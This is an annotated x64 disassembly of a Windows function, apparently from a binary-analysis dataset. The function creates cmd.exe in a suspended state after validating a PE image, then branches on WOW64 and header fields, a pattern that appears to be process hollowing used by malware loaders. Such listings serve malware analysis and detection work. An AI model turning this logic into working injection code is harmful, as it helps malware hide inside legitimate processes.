Function at 0x140002b4c
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov r9d, dword [rcx + 0xc]
mov rbx, r8
mov r8, rdx
sub r9d, 1
je 0x140001353
sub r9d, 2
je 0x140001349
sub r9d, 1
je 0x140001339
cmp r9d, 2
jne 0x140001366
mov rcx, qword [rcx + 0x10]
lea rdx, str.C:Windows_system32cmd.exe
add rsp, 0x20
pop rbx
jmp 0x140002b4c
mov rdx, rbx
mov rcx, r8
add rsp, 0x20
pop rbx
jmp 0x14000136c
call fcn.140002d7c
movzx eax, al
jmp 0x140001366
mov rdx, rbx
mov rcx, r8
call fcn.140001424
xor eax, eax
cmp qword [rbx], rax
seta al
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
mov r14, rdx
mov ecx, 0x20
call fcn.140004484
mov rcx, rax
mov rsi, rax
call fcn.14000173c
mov ecx, dword [rsi + 0x18]
mov r8d, dword [rsi + 8]
add rcx, r8
lea rcx, [rcx*2 + 0xc]
mov qword [r14], rcx
call fcn.140004484
mov qword [rbx], rax
xor edx, edx
mov r8, qword [r14]
mov rcx, rax
mov rdi, rax
call fcn.14000378c
mov ecx, dword [rsi + 0x1c]
mov dword [rdi], ecx
mov ecx, dword [rsi + 8]
add ecx, ecx
mov dword [rdi + 4], ecx
add rdi, 8
mov rdx, qword [rsi]
mov ebx, ecx
mov r8d, ecx
mov rcx, rdi
call fcn.14000376c
mov eax, dword [rsi + 0x18]
lea rcx, [rbx + 4]
add eax, eax
add rcx, rdi
mov dword [rdi + rbx], eax
mov rdx, qword [rsi + 0x10]
mov r8d, eax
call fcn.14000376c
mov rbx, qword [rsp + 0x30]
xor eax, eax
cmp qword [r14], rax
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
seta al
add rsp, 0x20
pop r14
ret
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x140002d4e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
je 0x140002b9c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140002d4e
xor edx, edx
lea rcx, [rbp - 0x15]
lea r8d, [rdx + 0x64]
call fcn.14000378c
xor eax, eax
mov dword [rbp - 0x19], 0x68
mov qword [rbp - 0x49], rax
xorps xmm0, xmm0
lea rax, [rbp - 0x59]
mov esi, 1
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x19]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
and qword [rsp + 0x38], 0
mov rcx, rdi
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x59], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002d42
mov rcx, qword [rbp - 0x59]
lea rdx, [rbp + 0x67]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rbp + 0x67], 0
lea rdx, [rbp - 0x59]
je 0x140002c2a
lea rcx, [rbp - 0x41]
call fcn.140001f18
jmp 0x140002c33
lea rcx, [rbp - 0x31]
call fcn.140001fbc
mov rdx, qword [rax + 8]
movups xmm1, xmmword [rax]
test rdx, rdx
je 0x140002d42
movq rax, xmm1
test rax, rax
je 0x140002d42
movsxd rcx, dword [rbx + 0x3c]
mov eax, 0x10b
cmp word [rcx + rbx + 0x18], ax
mov eax, dword [rbp + 0x67]
jne 0x140002c6e
test eax, eax
je 0x140002d4e
jmp 0x140002c78
xor esi, esi
test eax, eax
jne 0x140002d4e
movzx edi, word [rcx + rbx + 0x5c]
mov rcx, qword [rbp - 0x59]
test eax, eax
je 0x140002c8c
call fcn.1400020ac
jmp 0x140002c91
call fcn.1400021e0
cmp eax, 0xffffffff
je 0x140002d42
cmp edi, eax
jne 0x140002d42
movsxd rcx, dword [rbx + 0x3c]
xor eax, eax
mov rdx, rbx
test esi, esi
je 0x140002ccf
cmp dword [rcx + rbx + 0xa0], eax
lea rcx, [rbp - 0x59]
setne al
test eax, eax
jne 0x140002cc8
call fcn.140002318
jmp 0x140002ce6
call fcn.1400025f8
jmp 0x140002ce6
cmp dword [rcx + rbx + 0xb0], eax
lea rcx, [rbp - 0x59]
setne al
test eax, eax
jne 0x140002d2b
call fcn.140002488
test eax, eax
jne 0x140002d32
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x51]
test rcx, rcx
je 0x140002d0d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x59]
test rcx, rcx
je 0x140002d4e
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002d4e
call fcn.1400028a8
jmp 0x140002ce6
mov rdx, rbx
lea rcx, [rbp - 0x59]
call fcn.140001ec0
xor eax, eax
jmp 0x140002d51
mov rdx, rbx
lea rcx, [rbp - 0x59]
call fcn.140001e5c
or eax, 0xffffffff
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret